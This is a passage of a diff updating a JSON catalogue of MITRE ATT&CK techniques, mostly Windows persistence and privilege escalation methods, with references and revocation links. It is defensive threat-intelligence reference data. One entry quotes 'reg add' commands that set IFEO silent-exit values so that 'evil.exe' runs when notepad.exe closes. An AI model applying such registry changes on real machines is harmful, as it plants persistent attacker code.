proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.", + "meta": { + "external_id": "T1546.003", + "kill_chain": [ + "mitre-attack:privilege-escalation", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "WMI Objects" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1546/003", + "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf", + "https://www.secureworks.com/blog/wmi-persistence", + "https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-", + "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1" + ] + }, + "related": [ + { + "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", + "type": "subtechnique-of" + } + ], + "uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", + "value": "Windows Management Instrumentation Event Subscription - T1546.003" + }, + { + "description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Access Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.", + "meta": { + "external_id": "T1574.005", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "File monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1574/005", + "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/", + "https://seclists.org/fulldisclosure/2015/Dec/34" + ] + }, + "related": [ + { + "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "type": "subtechnique-of" + } + ], + "uuid": "70d81154-b187-45f9-8ec5-295d01255979", + "value": "Executable Installer File Permissions Weakness - T1574.005" + }, + { + "description": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.", + "meta": { + "external_id": "CAPEC-capec", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1574/009", + "https://capec.mitre.org/data/definitions/capec.html", + "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree", + "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464", + "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/", + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/" + ] + }, + "related": [ + { + "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "type": "subtechnique-of" + } + ], + "uuid": "bf96a5a3-3bce-43b7-8597-88545984c07b", + "value": "Path Interception by Unquoted Path - T1574.009" + }, + { + "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IEFO) debuggers. IEFOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:\\dbg\\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)", + "meta": { + "external_id": "T1546.012", + "kill_chain": [ + "mitre-attack:privilege-escalation", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "API monitoring", + "Windows event logs", + "Windows Registry", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1546/012", + "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/", + "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview", + "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit", + "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", + "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml", + "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2" + ] + }, + "related": [ + { + "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", + "type": "subtechnique-of" + } + ], + "uuid": "6d4a7fb3-5a24-42be-ae61-6728a2b581f6", + "value": "Image File Execution Options Injection - T1546.012" }, { "description": "Once a persona has been developed an adversary will use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage)", @@ -1378,7 +2032,7 @@ "value": "Analyze organizational skillsets and deficiencies - T1300" }, { - "description": "Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.", + "description": "Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.\n\nAdversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network", "meta": { "external_id": "T1011", "kill_chain": [ @@ -1488,9 +2142,33 @@ "value": "Data from Cloud Storage Object - T1530" }, { - "description": "Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration.\n\nAdversaries may search network shares on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.", + "description": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely. \n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \n\nAn adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.", "meta": { - "external_id": "T1039", + "external_id": "CAPEC-564", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1037", + "https://capec.mitre.org/data/definitions/564.html" + ] + }, + "uuid": "03259939-0b57-482f-8eb5-87c0e0d54334", + "value": "Boot or Logon Initialization Scripts - T1037" + }, + { + "description": "Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.", + "meta": { + "external_id": "CAPEC-639", "kill_chain": [ "mitre-attack:collection" ], @@ -1505,7 +2183,8 @@ "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1039" + "https://attack.mitre.org/techniques/T1039", + "https://capec.mitre.org/data/definitions/639.html" ] }, "uuid": "ae676644-d2d2-41b7-af7e-9bed1b55898c", @@ -1538,15 +2217,6 @@ "description": "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)", "meta": { "external_id": "T1084", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "WMI Objects" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1084", "https://www.secureworks.com/blog/wmi-persistence", @@ -1556,6 +2226,15 @@ "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96" ] }, + "related": [ + { + "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4", "value": "Windows Management Instrumentation Event Subscription - T1084" }, @@ -1563,31 +2242,48 @@ "description": "Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Standard Application Layer Protocol](https://attack.mitre.org/techniques/T1071). Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.", "meta": { "external_id": "T1094", - "kill_chain": [ - "mitre-attack:command-and-control" - ], - "mitre_data_sources": [ - "Packet capture", - "Netflow/Enclave netflow", - "Process use of network", - "Process monitoring", - "Host network interface", - "Network intrusion detection system", - "Network protocol analysis" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1094", "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" ] }, + "related": [ + { + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", "value": "Custom Command and Control Protocol - T1094" }, + { + "description": "Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.", + "meta": { + "external_id": "T1127", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1127", + "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/", + "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/", + "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/" + ] + }, + "uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", + "value": "Trusted Developer Utilities Proxy Execution - T1127" + }, { "description": "The application is downloaded from an arbitrary web site. A link to the application's download URI may be sent in an email or SMS, placed on another web site that the target is likely to view, or sent via other means (such as QR code).\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices.\n\nPlatforms: Android, iOS", "meta": { @@ -1612,30 +2308,26 @@ "description": "Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\\dbg\\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nAn example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)\n\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d \"C:\\temp\\evil.exe\"\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)", "meta": { "external_id": "T1183", - "kill_chain": [ - "mitre-attack:privilege-escalation", - "mitre-attack:persistence", - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "Process monitoring", - "Windows Registry", - "Windows event logs" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1183", "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/", "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview", - "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml", - "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2", "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit", "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", - "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml", + "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2" ] }, + "related": [ + { + "dest-uuid": "6d4a7fb3-5a24-42be-ae61-6728a2b581f6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "62166220-e498-410f-a90a-19d4339d4e99", "value": "Image File Execution Options Injection - T1183" }, @@ -1643,22 +2335,6 @@ "description": "In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)", "meta": { "external_id": "T1198", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "API monitoring", - "Application logs", - "DLL monitoring", - "Loaded DLLs", - "Process monitoring", - "Windows Registry", - "Windows event logs" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1198", "https://msdn.microsoft.com/library/ms537359.aspx", @@ -1672,11 +2348,20 @@ "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)" ] }, + "related": [ + { + "dest-uuid": "543fceb5-cb92-40cb-aacf-6913d4db58bc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "72b5ef57-325c-411b-93ca-a3ca6fa17e31", "value": "SIP and Trust Provider Hijacking - T1198" }, { - "description": "File and directory permissions are commonly managed by discretionary access control lists (DACLs) specified by the file or directory owner. File and directory DACL implementations may vary by platform, but generally explicitly designate which users/groups can perform which actions (ex: read, write, execute, etc.). (Citation: Microsoft DACL May 2018) (Citation: Microsoft File Rights May 2018) (Citation: Unix File Permissions)\n\nAdversaries may modify file or directory permissions/attributes to evade intended DACLs. (Citation: Hybrid Analysis Icacls1 June 2018) (Citation: Hybrid Analysis Icacls2 May 2018) Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions such as Administrator/root depending on the file or directory's existing permissions to enable malicious activity such as modifying, replacing, or deleting specific files/directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1015), [Logon Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files.", + "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nModifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory’s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [.bash_profile and .bashrc](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).", "meta": { "external_id": "T1222", "kill_chain": [ @@ -1695,17 +2380,8 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1222", - "https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces", - "https://docs.microsoft.com/windows/desktop/fileio/file-security-and-access-rights", - "https://www.tutorialspoint.com/unix/unix-file-permission.htm", "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100", "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110", - "https://docs.microsoft.com/windows-server/administration/windows-commands/icacls", - "https://docs.microsoft.com/windows-server/administration/windows-commands/takeown", - "https://docs.microsoft.com/windows-server/administration/windows-commands/attrib", - "https://docs.microsoft.com/powershell/module/microsoft.powershell.security/set-acl", - "https://linux.die.net/man/1/chmod", - "https://linux.die.net/man/1/chown", "https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/" ] }, @@ -1900,7 +2576,7 @@ "value": "Analyze organizational skillsets and deficiencies - T1289" }, { - "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nThe utilization of resources not owned by the adversary to launch exploits or operations. This includes utilizing equipment that was previously compromised or leveraging access gained by other methods (such as compromising an employee at a business partner location). (Citation: CitizenLabGreatCannon)", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nThe utilization of resources not owned by the adversary to launch exploits or operations. This includes utilizing equipment that was previously compromised or leveraging access gained by other methods (such as compromising an employee at a business partner location). (Citation: CitizenLabGreatCannon)", "meta": { "external_id": "T1375", "kill_chain": [ @@ -1942,7 +2618,7 @@ "value": "SSL certificate acquisition for domain - T1337" }, { - "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nUpon successful compromise the adversary may implement methods for confirming success including communication to a command and control server, exfiltration of data, or a verifiable intended effect such as a publicly accessible resource being inaccessible or a web page being defaced. (Citation: FireEye Malware Stages) (Citation: APTNetworkTrafficAnalysis)", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nUpon successful compromise the adversary may implement methods for confirming success including communication to a command and control server, exfiltration of data, or a verifiable intended effect such as a publicly accessible resource being inaccessible or a web page being defaced. (Citation: FireEye Malware Stages) (Citation: APTNetworkTrafficAnalysis)", "meta": { "external_id": "T1383", "kill_chain": [ @@ -1975,6 +2651,36 @@ "uuid": "1f96d624-8409-4472-ad8a-30618ee6b2e2", "value": "App Delivered via Email Attachment - T1434" }, + { + "description": "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services. (Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges. (Citation: OSX Malware Detection). ", + "meta": { + "external_id": "T1543", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Windows event logs", + "Windows Registry", + "File monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1543", + "https://technet.microsoft.com/en-us/library/cc772408.aspx", + "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", + "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf" + ] + }, + "uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", + "value": "Create or Modify System Process - T1543" + }, { "description": "Delivery systems are the infrastructure used by the adversary to host malware or other tools used during exploitation. Building and configuring delivery systems may include multiple activities such as registering domain names, renting hosting space, or configuring previously exploited environments. (Citation: APT1)", "meta": { @@ -1990,7 +2696,7 @@ "value": "Build and configure delivery systems - T1347" }, { - "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nUsers may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware executes without further action by the user. (Citation: WSUSpect2015)", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nUsers may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware 